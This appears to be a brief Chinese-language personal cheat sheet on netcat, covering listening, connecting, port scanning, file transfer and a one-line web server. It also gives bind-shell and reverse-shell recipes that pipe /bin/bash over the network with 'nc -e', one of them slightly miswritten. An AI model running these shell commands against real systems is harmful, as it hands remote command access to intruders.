動機
netcat就是simple的tcp/udp socket 重點是很方便,一行就可以把client與server建好!!
基本用法
- server
nc -l -p [port]-l: listen-p: 當成listen的port
- client
nc -vv -n -w 1 [remote ip] [port] -p [source port]-n: 不要用dns,如果打的是ip,一定要用這個!!-w 1: 1秒後沒有任何輸入就停止- gnu-netcat,不知道為什麼就是不會停?
- openbsd-netcat就會停
-p: source port-vv: very verbose!!
- 連線建好後
- 就可以一直傳資料
-z: 不傳任何資料!! 就是port scannc -zv [ip] [port1]-[port2] [port3]-[port4]
- 上面就是輸出輸入都是到stdin與stdout
-e: 可以把stdin與stdout導到程式- 讓程式處理input與output
- 預設是tcp
-u: udp
- 就可以一直傳資料
用法
- shell
nc -l -p [port] -e /bin/bash- 讓bash去回應request
nc -l [remote ip] [port]- client可以輸入指令,來用server的bash
- reverse shell
nc -l -p [port]- server可以輸入(指令,來用client的bash)
nc -l [remote ip] [port] -e /bin/bash- 讓bash去回應request
- 傳檔案
nc -l -p [port] > outfilecat thefile | nc -v -n -w 1 [remote ip] [port]- 因為是透過stdin與stdout,所以可以與其他指令結合
- dd
- tar
- 小server
while true; do nc -l -p [port] < index.html; done